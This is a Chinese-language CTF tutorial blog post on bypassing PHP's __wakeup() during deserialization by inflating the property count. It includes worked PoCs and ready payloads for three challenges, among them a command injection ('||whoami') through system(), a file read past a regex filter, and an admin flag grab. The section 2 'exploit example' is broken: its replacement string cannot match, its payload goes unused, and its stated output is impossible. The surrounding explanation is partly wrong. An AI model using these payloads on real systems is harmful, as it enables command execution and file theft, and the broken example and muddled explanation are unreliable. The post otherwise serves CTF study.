CTF必看~ PHP反序列化漏洞6：绝妙_wakeup绕过技巧

最新推荐文章于 2024-03-30 23:56:03 发布
最新推荐文章于 2024-03-30 23:56:03 发布
阅读量4.2k 收藏 76
点赞数 56
分类专栏： CTF基础入门系列 文章标签： 开发语言 php反序列化 ctf web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/eason612/article/details/130607125
版权

作者：Eason_LYC
悲观者预言失败，十言九中。 乐观者创造奇迹，一次即可。
一个人的价值，在于他所拥有的。可以不学无术，但不能一无所有！
技术领域：WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致，逻辑清晰、结合实战，让你在学习路上事半功倍，少走弯路！
个人社区：极乐世界-技术至上
追求技术至上，这是我们理想中的极乐世界~（关注我即可加入社区）

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点，为后续自学或快速刷题备赛，打下坚实的基础~

目前ctf比赛，一般选择php作为首选语言，如读者不了解php的基本语法，请登录相关网站自学下基本语法即可，一般5-7天即可掌握基础。

本文是系列文章，知识点环环相扣，难度依次递增，请首先阅读之前的文章后，再阅读本文效果更加~

目录

1. __wakeup()介绍

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用，允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数，但在实际使用中，它通常不需要参数。

下面是一个简单的示例，它演示了如何在一个 PHP 对象中使用 __wakeup() 方法：

class Example {
    public $a = 1;
    public $b = 2;

    public function __wakeup() {
        $this->a *= 2;
        $this->b *= 2;
    }
}

$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中，我们定义了一个名为 Example 的类，它具有两个公共属性 $a 和 $b。在 __wakeup() 方法中，我们将 $a 和 $b 的值各自乘以 2。然后我们序列化一个 Example 对象，并使用 unserialize() 函数将其还原为 PHP 对象。最后，我们使用 var_dump() 函数输出这个对象。运行这个脚本，输出将是：

object(Example)#2 (2) {
  ["a"]=>
  int(2)
  ["b"]=>
  int(4)
}

正如预期的那样，我们的 __wakeup() 方法成功地修改了 $a 和 $b 的值。

在安全编程中，__wakeup() 方法经常用于控制对象的反序列化过程，以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码，因此如果反序列化的对象包含恶意代码，那么它可能会在反序列化过程中执行。

2.__wakeup()绕过

然而，攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中，表示属性个数的值大于真实属性个数时，会绕过 __wakeup() 函数的执行，是因为 PHP 在反序列化过程中，会忽略掉多出来的属性，而不会对这些属性进行处理和执行。

具体来说，当 PHP 反序列化一个对象时，它首先读取对象的类名，并创建一个新的对象。然后，PHP 会读取对象的属性个数，并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多，则 PHP 会忽略这些多余的属性，直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行，因为 PHP 无法通过未知的属性来检查对象的完整性。

攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查，从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象，并在其中添加任意数量的属性。然后，攻击者可以修改序列化字符串中属性的数量，使其比实际属性数量多。由于 PHP 会忽略多余的属性，攻击者可以绕过 __wakeup() 函数的安全检查，并执行恶意代码。

以下是一个漏洞利用的示例代码：

class Example {
    private $a = 1;
    private $b = 2;
    
    public function __wakeup() {
        if ($this->a != 1 || $this->b != 2) {
            die("Invalid values for a and b");
        }
    }
}

$payload = 'O:7:"Example":3:{s:1:"a";i:2;s:1:"b";i:3;s:1:"c";i:4;}';
$serialized = serialize(new Example());
$serialized = str_replace('s:3:"Example":3', 's:3:"Example":2', $serialized);
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中，我们定义了一个名为 Example 的类，它有两个私有属性 $a 和 $b。__wakeup() 方法检查 $a 和 $b 的值是否为 1 和 2。然后我们手动序列化了一个 Example 对象，并使用 O 类型的序列化字符串将其包装起来。在这种情况下，我们添加了一个新属性 $c，并将属性数量设置为 3。然后，我们使用 str_replace() 函数将序列化字符串中属性的数量修改为 2，从而绕过了 __wakeup() 函数的安全检查。因此，运行这个脚本，输出将是：

object(Example)#2 (2) {
  ["a":"Example":private]=>
  int(2)
  ["b":"Example":private]=>
  int(3)
}

3. 绕过应用举例

当反序列化字符串中，表示属性个数的值⼤于真实属性个数时，会绕过 __wakeup 函数的执⾏。

漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

4. 真实赛题

4.1 赛题一

  • 源码
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
 private $method;
 private $args;
 function __construct($method, $args)
 {
 $this->method = $method;
 $this->args = $args;
 }
 function __destruct()
 {
 // TODO: Implement __destruct() method.
 if (in_array($this->method, array("ping"))) {
 call_user_func_array(array($this, $this->method), $this->args);
 }
 }
 function ping($host)
 {
 system("ping -C 2 $host");
 }
 function __wakeup()
 {
 $this->args = array("127.0.0.1");
 }
}
$a=@$_GET['a'];
@unserialize($a);
?>
  • 解题思路
  1. 关键点在于__wakeup将所有参数均变为127.0.0.1
  2. 需要拼接命令，如ping -c 2;ls或ping -c 2|ls
  3. 构造poc

因为我是在windows10系统上起的服务，系统命令使用whoami

<?php
class home
{
 private $method='ping';
 private $args=array('||whoami');
}
$h = new home();
$ori = serialize($h);
echo $ori.'<br>';
echo urlencode($ori);
?>

在这里插入图片描述
原始序列化字符串：
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
将"home":2 ，修改为“home”:3 即可绕过__wakeup
最终攻击payload
?a=O%3A4%3A%22home%22%3A3%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
在这里插入图片描述

赛题2 攻防世界 Web_php_unserialize

  • 题目
    在这里插入图片描述
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • 代码解释
    只说绕过点处的正则分析
 if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    }
功能代码
匹配模式/[oc]:\d+:/i
判断变量是否匹配模式preg_match(‘/[oc]:\d+:/i’, $var)
匹配规则匹配一个字符集 [oc]，后跟一个冒号 :，再跟一个或多个数字 \d+，最后再跟一个冒号 :
匹配字符串示例o:123:、c:456:、O:789:、C:321:
匹配字符串示例（不匹配）abc、1234、o: abc:
匹配修饰符i，表示忽略大小写
匹配结果判断如果变量 $var 匹配模式，则执行 die(‘stop hacking!’)
序列化/反序列化如果变量 $var 不匹配模式，则使用 unserialize() 函数对 $var 进行反序列化
  • 解题思路
  1. 其余不再分析，只说这道题特有的考点
  2. 这道题特点是绕过preg_match(‘/[oc]:\d+:/i’, $var)

匹配到任意长度的数字 或者oc（类似数字）字符都会被过滤

绕过方式数字前加正号，如+4，正好不改变正数的值，却可以绕过检测

  1. 对private中%00的绕过，此题url编码后的base64,网站不认可。所以只能使用最原始保真的方式生成序列化，并直接base64，注意参考POC
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$d = new Demo();
$ori = serialize($d);
echo $ori.'<br>';
$ori = str_replace('O:4','O:+4', $ori);
$ori = str_replace('"Demo":1:','"Demo":2:',$ori);
// $result = urlencode($ori);
echo $ori.'<br>';
echo base64_encode($ori);

?>

// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

赛题三：极客⼤挑战 2019 PHP（综合题目）

极客⼤挑战 2019 PHP
在这里插入图片描述

  • 题目

一只猫，爱备份

  • 解题思路
  1. 既然提示了爱备份，使用burp加载CTF字典扫描，果然扫到备份地址

在这里插入图片描述

  1. 访问/www.zip 自动下载源码。index.php源码如下
 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

其中class.php源码如下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
  1. 分析源码，class.php已经包含了flag文件 。在反序列化过程中，会自动触发__wakeup()和__destruct()这两个魔法函数。首先根据__destruct()可知，username=='admin'同时password=100可响应flag
  2. 但是魔法函数__wakeup已默认赋值username = 'guest’所以首先要绕过__wakeup。修改属性数量值即可
  3. 构造poc,一击必杀
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}

$name = new Name();
$ser_ori = serialize($name);
echo($ser_ori.'<br>');
$result = str_replace('"Name":2', '"Name":3', $ser_ori);
echo($result.'<br>');
echo(urlencode($result));

?>
/*
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
*/

攻击payload,页面直接爆flag
http://bb716fd5-9d48-4096-82dc-7afb1c3d4c76.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
在这里插入图片描述

下篇文章是php序列化的最后一篇文章，关于phar反序列化，敬请期待~

Eason_LYC
关注
专栏目录
PHP反序列化2（OC绕过.wakeup绕过）
2302_81328699的博客
09-26 647
PHP反序列化2（OC绕过.wakeup绕过）
渗透测试-PHP反序列化及绕过
cdyunaq的博客
04-26 4533
最简单的反序列化 require_once('flag.php'); highlight_file(__FILE__); classA{ private$user='test'; function__destruct(){ ...
反序列化__wakeup()绕过
csjjjd的博客
01-24 923
这里因为flag在flag.php但是我只要进行反序列化就会触发wake（）魔术方法，使file=index.php，这不是我们要的，所以必须绕过它，这里直接复制前面代码，把file改为flag.php，进行反序列化，得到正常的pop链，之后再把。后面的数字加个正号，然后把属性加一，接下来URL编码就可以绕过。但是限制很大，5
PHP反序列化--_wakeup()绕过
2302_79800344的博客
03-18 635
【代码】PHP反序列化--_wakeup()绕过。
__wakeup()绕过
v2ish1yan的博客
04-23 6707
__wakeup函数是在php在使用反序列化函数unserialize()时，会自动调用的函数 如xctf-unserialize3 只要序列化的中的成员数大于实际成员数，即可绕过 如 <?php class xctf { public $flag = '111'; public function __wakeup() { exit('bad requests'); } } $a=new xctf(); var_dump(seri
反序列化中_wakeup的绕过
rev1ve的博客
09-05 2259
反序列化中_wakeup扮演着非常重要的角色，ctf碰到很多的题目都有涉及到_wakeup绕过，写下这篇博客来总结下大部分绕过方法，其中会有例题具体演示。
shiro 反序列化漏洞综合利用工具 shiro_attack_by J1anfen
11-05
在提到的 "shiro_attack_by J1anfen" 工具中，重点是针对 Apache Shiro 的一个特定安全问题：反序列化漏洞。 反序列化漏洞通常出现在程序中，当接收到从网络或持久存储中读取的数据，并将其转换回原来的对象实例时...
ctf+php反序列化,CTF中的PHP反序列化漏洞简单分析
weixin_39965881的博客
04-02 1833
本帖最后由 icq_8bf67fe65 于 2018-9-2 21:20 编辑本文原创作者：Versi0n，本文属i春秋原创奖励计划，未经许可禁止转载！一、前言在ctf比赛中，经常会遇到php反序列化漏洞的题，今天就来简单分析下该漏洞的正确食用姿势~二、正文1.基础知识PHP序列化：php为了方便进行数据的传输，允许把复杂的数据结构，压缩到一个字符串中，使用serialize()函数。PHP反序列...
PHP反序列化漏洞详解.rar
02-07
在IT安全领域，PHP反序列化漏洞是一种常见的安全隐患，尤其在Web应用开发中。这个话题在CTF（Capture The Flag）网络安全竞赛中也常被用作挑战，因为理解和利用这种漏洞需要深入理解PHP语言和其内部工作原理。下面将...
PHP反序列化漏洞分析：0CTF-2016-piapiapia挑战解析
"php反序列化长度变化尾部字符串逃逸技术在0CTF-2016-piapiapia挑战中的应用" 在信息安全竞赛中，0CTF-2016-piapiapia是一个涉及PHP反序列化漏洞的挑战。这个题目主要探讨了如何利用PHP的反序列化机制，通过长度...
【愚公系列】2024年03月 《CTF实战：从入门到提升》 011-Web安全入门（PHP反序列化漏洞）
最新发布
时光隧道
03-30 5万+
PHP是一种广泛使用的开源服务器端脚本语言，它支持面向对象的编程范式。在PHP中，类和对象是用于封装数据与功能的核心组件，它们使得代码更加模块化、易于管理和扩展。在处理对象持久化——即在不同会话或不同请求之间保存对象状态的过程中，序列化和反序列化是两个非常重要的概念。反序列化漏洞通常发生在不安全地反序列化用户提供的数据时。代码执行：攻击者可能会注入恶意对象，当这个对象被反序列化时，它可能会触发任意代码执行。对象注入：通过构造特殊的序列化数据，攻击者可能会在应用程序上下文中创建不正当的对象实例。
PHP反序列化中如何绕过_wakeup()函数的一些技巧
m0_63138919的博客
08-28 1375
本文为魔术方法_wakeup()的一些绕过用法
ctf-php反序列化绕过__wakeup
qq_32445755的博客
05-19 2223
注意：PHP 将所有以 __（两个下划线）开头的类方法保留为魔术方法。所以在定义类方法时，除了上述魔术方法，建议不要以 __ 为前缀。 __wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在，则先会调用__wakeup()方法。 部分代码 class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code= 此时需要绕过__
__wakeup绕过版本_PHP__wakeup()方法
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
08-29 1176
​ __wakeup函数是在php在使用反序列化函数unserialize()时，会自动调用的函数。只要序列化的中的成员数大于实际成员数，即可绕过
PHP反序列化-BUUCTF-[极客大挑战 2019]PHP&__wakeup绕过
永远都没有了
11-27 790
题目链接地址：https://buuoj.cn/challenges#[极客大挑战%202019]PHP。
21-3 PHP反序列化漏洞-魔术方法绕过
weixin_43263566的博客
01-17 717
启动靶场 -> 在浏览器打开链接（这个靶场平台比较良心不用花钱，有些平台按分钟收钱，时间一到靶场不续费就自动关闭）先进行进行收集，根据页面提示网站备份，我们可以通过目录探测方式找到备份文件，并根据文件进行审计等后续操作，以达到读取flag文件的目的。在PHP中，__wakeup()是一个魔术方法，用于在反序列化对象时自动调用。来进行绕过，通过添加位置来改变类名的个数。或 搜索： “[极客大挑战 2019]PHP”：指定排除的HTTP状态码，以逗号分隔。
CTF-PHP反序列化漏洞2-利用魔法函数
Eason_LYC安全白帽子的成长博客
05-01 2043
悲观者预言失败，十言九中。乐观者创造奇迹，一次即可。一个人的价值，在于他所拥有的。可以不学无术，但不能一无所有！关注WEB安全、网络攻防。我的专栏文章知识点全面细致，逻辑清晰、结合实战，让你在学习路上事半功倍，少走弯路！追求技术至上，这是我们理想中的极乐世界~（关注我即可加入社区）本专栏打破以往CTF速成或就题论题模式。采用。让刚接触CTF的读者真正掌握CTF中各类型知识点，为后续自学或快速刷题备赛，打下坚实的基础~
CTF：PHP反序列化字符逃逸漏洞
06-16 1414
作者：高玉涵 博客：blog.csdn.net/cg_i 时间：2021.6.16 22:26、。/>/ CTF入门好难 赛后，主办方给出答案后的第77天，我终于解开了这道题。 CTF作为流行在信息安全界著名竞赛，像我这种“被赶鸭子上架的程序员”——零基础。答案都看不懂，我太难了！不了解原理和背景，资料也无从找起。输了比赛不可怕，就怕输的不明不白，抱着这种不甘，也为了探究缘故，除了努力学习别无它法，期间走了不少弯路，终得解惑。这对于我来说，没有激动与喜悦，有得只是深刻。 现将解题过程分享出
评论 39
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Eason_LYC

坚持下去，谢谢你的鼓励！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值